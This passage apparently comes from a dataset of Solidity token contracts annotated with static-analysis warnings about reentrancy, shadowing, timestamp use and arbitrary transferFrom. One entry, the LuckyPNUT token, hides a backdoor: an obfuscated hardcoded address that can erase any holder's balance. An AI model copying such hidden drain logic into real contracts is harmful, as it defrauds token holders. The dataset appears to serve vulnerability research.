High | ID: 480f7ab): Goat.ZERO shadows ERC20.ZERO\n\t// Recommendation for 480f7ab: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f263733): Goat.maxTxAmoudMT should be immutable \n\t// Recommendation for f263733: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudMT;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 437935f): Goat.maxwalle_MST should be immutable \n\t// Recommendation for 437935f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalle_MST;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1adde83): Goat._burnPettsse should be constant \n\t// Recommendation for 1adde83: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsse = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 83c32de): Goat.uniswapV2Router should be immutable \n\t// Recommendation for 83c32de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Goatseus Maximus\", unicode\"Goat\", TOAL_SUTSTSTSDE) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalle_MST = TOAL_SUTSTSTSDE / 30;\n\n maxTxAmoudMT = TOAL_SUTSTSTSDE / 30;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsse) / 100;\n\n super._transfer_etcstwwscoin(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudMT, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalle_MST,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10683.sol",
"size_bytes": 18898,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract TokenStream is Ownable {\n ERC20 public immutable token;\n\n address public immutable tokenSender;\n\n uint256 public immutable startTime;\n\n uint256 public endTime;\n\n uint256 public immutable streamingRate;\n\n uint256 public totalClaimed;\n\n event Configured(\n address token,\n address tokenSender,\n uint256 startTime,\n uint256 endTime,\n uint256 streamingRate\n );\n\n event Claimed(address indexed recipient, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1e037f3): TokenStream.constructor(ERC20,address,uint256,uint256,uint256)._tokenSender lacks a zerocheck on \t tokenSender = _tokenSender\n\t// Recommendation for 1e037f3: Check that the address is not zero.\n constructor(\n ERC20 _token,\n address _tokenSender,\n uint256 _startTime,\n uint256 _endTime,\n uint256 _streamingRate\n ) {\n require(_endTime > _startTime, \"_endTime must be after _startTime\");\n\n token = _token;\n\n\t\t// missing-zero-check | ID: 1e037f3\n tokenSender = _tokenSender;\n\n startTime = _startTime;\n\n endTime = _endTime;\n\n streamingRate = _streamingRate;\n\n emit Configured(\n address(_token),\n _tokenSender,\n _startTime,\n _endTime,\n _streamingRate\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d8a8bab): TokenStream.claimableBalance() uses timestamp for comparisons Dangerous comparisons block.timestamp < startTime end > block.timestamp\n\t// Recommendation for d8a8bab: Avoid relying on 'block.timestamp'.\n function claimableBalance() public view returns (uint256) {\n\t\t// timestamp | ID: d8a8bab\n if (block.timestamp < startTime) {\n return 0;\n }\n\n uint256 end = endTime;\n\n\t\t// timestamp | ID: d8a8bab\n if (end > block.timestamp) {\n end = block.timestamp;\n }\n\n return (end - startTime) * streamingRate - totalClaimed;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 5cd694a): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 5cd694a: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7280658): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7280658: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: 0d542ff): TokenStream.claim(address,uint256) uses arbitrary from in transferFrom require(bool,string)(token.transferFrom(tokenSender,recipient,amount),TokenStream Transfer failed)\n\t// Recommendation for 0d542ff: Use 'msg.sender' as 'from' in 'transferFrom'.\n function claim(address recipient, uint256 amount) external onlyOwner {\n uint256 claimable = claimableBalance();\n\n\t\t// timestamp | ID: 5cd694a\n if (amount > claimable) {\n amount = claimable;\n }\n\n totalClaimed += amount;\n\n\t\t// timestamp | ID: 5cd694a\n\t\t// reentrancy-events | ID: 7280658\n\t\t// arbitrary-send-erc20 | ID: 0d542ff\n require(\n token.transferFrom(tokenSender, recipient, amount),\n \"TokenStream: Transfer failed\"\n );\n\n\t\t// reentrancy-events | ID: 7280658\n emit Claimed(recipient, amount);\n }\n\n function setEndTime(uint256 _endTime) external {\n require(\n msg.sender == tokenSender,\n \"Only token sender may change the end time\"\n );\n\n require(_endTime > startTime, \"_endTime must be after startTime\");\n\n endTime = _endTime;\n\n emit Configured(\n address(token),\n tokenSender,\n startTime,\n _endTime,\n streamingRate\n );\n }\n}\n",
"file_name": "solidity_code_10684.sol",
"size_bytes": 11834,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐿️LuckyPNUT\", unicode\"🐿️LuckyPNUT\", 9, 200000000)\n {}\n}\n",
"file_name": "solidity_code_10685.sol",
"size_bytes": 7327,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AKIHABARA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n address payable private qFeeWallet;\n\n IUniswapV2Router02 private uniQRouter;\n\n address private uniQPair;\n\n mapping(address => uint256) private _qOwned;\n\n mapping(address => mapping(address => uint256)) private _qAllowance;\n\n mapping(address => bool) private _isQExcluded;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Japan Coin\";\n\n string private constant _symbol = unicode\"AKIHABARA\";\n\n uint256 public _maxQAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxQWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: f15aa04): AKIHABARA._taxSwapThreshold should be constant \n\t// Recommendation for f15aa04: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f2147d): AKIHABARA._maxTaxSwap should be constant \n\t// Recommendation for 8f2147d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 06f25e9): AKIHABARA._initialBuyTax should be constant \n\t// Recommendation for 06f25e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 178ebf2): AKIHABARA._initialSellTax should be constant \n\t// Recommendation for 178ebf2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e4e803): AKIHABARA._finalBuyTax should be constant \n\t// Recommendation for 1e4e803: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39cb386): AKIHABARA._finalSellTax should be constant \n\t// Recommendation for 39cb386: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0029072): AKIHABARA._reduceBuyTaxAt should be constant \n\t// Recommendation for 0029072: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 380a117): AKIHABARA._reduceSellTaxAt should be constant \n\t// Recommendation for 380a117: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5c927c): AKIHABARA._preventSwapBefore should be constant \n\t// Recommendation for b5c927c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n event MaxTxAmountUpdated(uint _maxQAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n constructor() {\n qFeeWallet = payable(_msgSender());\n\n _qOwned[_msgSender()] = _tTotal;\n\n _isQExcluded[address(this)] = true;\n\n _isQExcluded[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function initQ() external onlyOwner {\n uniQRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniQRouter), _tTotal);\n\n uniQPair = IUniswapV2Factory(uniQRouter.factory()).createPair(\n address(this),\n uniQRouter.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _qOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1581ad): AKIHABARA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d1581ad: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _qAllowance[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8fc457a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8fc457a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9c61633): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9c61633: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8fc457a\n\t\t// reentrancy-benign | ID: 9c61633\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8fc457a\n\t\t// reentrancy-benign | ID: 9c61633\n _approve(\n sender,\n _msgSender(),\n _qAllowance[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 217d5b2): AKIHABARA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 217d5b2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9c61633\n _qAllowance[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8fc457a\n emit Approval(owner, spender, amount);\n }\n\n function qSwapEth(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniQRouter.WETH();\n\n _approve(address(this), address(uniQRouter), amount);\n\n\t\t// reentrancy-events | ID: b6c0ba3\n\t\t// reentrancy-events | ID: 8fc457a\n\t\t// reentrancy-benign | ID: 9c61633\n\t\t// reentrancy-eth | ID: fa1db70\n uniQRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6c0ba3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6c0ba3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa1db70): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa1db70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _qOwned[from] = _qOwned[from] - amount;\n\n _qOwned[to] = _qOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (\n from == uniQPair &&\n to != address(uniQRouter) &&\n !_isQExcluded[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxQAmount, \"Exceeds the _maxQAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxQWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniQPair && !_isQExcluded[to]) {\n require(\n balanceOf(to) + amount <= _maxQWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (equal([uniQPair, qFeeWallet]) && to == uniQPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniQPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: b6c0ba3\n\t\t\t\t\t// reentrancy-eth | ID: fa1db70\n qSwapEth(\n min(amount, 